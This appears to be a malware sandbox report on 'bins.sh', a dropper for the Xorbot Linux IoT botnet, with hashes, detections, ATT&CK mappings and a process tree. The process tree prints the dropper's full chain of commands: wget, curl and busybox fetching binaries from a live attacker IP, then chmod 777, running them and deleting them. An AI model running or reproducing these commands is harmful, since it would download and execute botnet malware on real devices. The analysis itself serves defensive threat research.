xorbot | b6f1813eb89b53822bc7f914ab0ec6b3cf4434292e98c8cc3422b4c6f2b60f8d

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/11/2024, 01:40

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General

Target

bins.sh
Size

10KB
MD5

54298eb7fa7e229d5f14bd984a061988
SHA1

4bef8f4344ac56b0a3e9ced6b7e219ec17d3e180
SHA256

b6f1813eb89b53822bc7f914ab0ec6b3cf4434292e98c8cc3422b4c6f2b60f8d
SHA512

c74e2aedf14c550d45d98dd011e4e083a341e0d505d50f48e260b04dcc0c4bd715989ed0e9d140f5c9a3659707368236b4d09c41e3743e781806db802c2e298d
SSDEEP

96:/JZhtD+DcDkDmDvDrDZoCOfLlIUzF7UeQx8v+DcDkDmDvDrDwKHiffLlIUzxzEv0:xZhtD+ooS7/Foh5AmmooS7/qyu

Score

10^/10

xorbot botnet defense_evasion trojan

Malware Config

Signatures

Detects Xorbot 6 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot
behavioral1/files/fstream-9.dat	family_xorbot
behavioral1/files/fstream-15.dat	family_xorbot
behavioral1/files/fstream-17.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1558	chmod
1507	chmod
1514	chmod
1521	chmod
1530	chmod
1537	chmod
1544	chmod
1551	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	1508	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn	1515	jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD	1522	seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP	1531	MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1	1538	fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
/tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v	1545	XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
/tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG	1552	LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
/tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7	1559	9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1	busybox
File opened for modification	/tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v	wget
File opened for modification	/tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v	busybox
File opened for modification	/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	wget
File opened for modification	/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn	wget
File opened for modification	/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD	wget
File opened for modification	/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD	curl
File opened for modification	/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1	wget
File opened for modification	/tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG	curl
File opened for modification	/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn	curl
File opened for modification	/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP	wget
File opened for modification	/tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7	wget
File opened for modification	/tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7	curl
File opened for modification	/tmp/bq5UXFy8ZP5rQaOPdt8QWI2TOv7PSdxIio	wget
File opened for modification	/tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7	busybox
File opened for modification	/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	curl
File opened for modification	/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP	curl
File opened for modification	/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP	busybox
File opened for modification	/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1	curl
File opened for modification	/tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG	busybox
File opened for modification	/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	busybox
File opened for modification	/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn	busybox
File opened for modification	/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD	busybox
File opened for modification	/tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v	curl
File opened for modification	/tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1497
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1498
- /usr/bin/wget
  wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Writes file to tmp directory
  PID:1499
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod 777 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  ./1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Executes dropped EXE
  PID:1508
- /bin/rm
  rm 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - Writes file to tmp directory
  PID:1511
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  ./jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - Executes dropped EXE
  PID:1515
- /bin/rm
  rm jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  ./seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - Executes dropped EXE
  PID:1522
- /bin/rm
  rm seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - Writes file to tmp directory
  PID:1525
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  ./MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - Executes dropped EXE
  PID:1531
- /bin/rm
  rm MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  PID:1533
- /usr/bin/wget
  wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - Writes file to tmp directory
  PID:1534
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod 777 fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  ./fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - Executes dropped EXE
  PID:1538
- /bin/rm
  rm fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/chmod
  chmod 777 XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  ./XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  2⤵
  - Executes dropped EXE
  PID:1545
- /bin/rm
  rm XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://216.126.231.240/bins/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
  2⤵
  - Writes file to tmp directory
  PID:1548
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod 777 LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
  ./LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
  2⤵
  - Executes dropped EXE
  PID:1552
- /bin/rm
  rm LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
  2⤵
  PID:1554
- /usr/bin/wget
  wget http://216.126.231.240/bins/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
  2⤵
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod 777 9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
  ./9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
  2⤵
  - Executes dropped EXE
  PID:1559
- /bin/rm
  rm 9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://216.126.231.240/bins/bq5UXFy8ZP5rQaOPdt8QWI2TOv7PSdxIio
  2⤵
  - Writes file to tmp directory
  PID:1562

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/bq5UXFy8ZP5rQaOPdt8QWI2TOv7PSdxIio

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit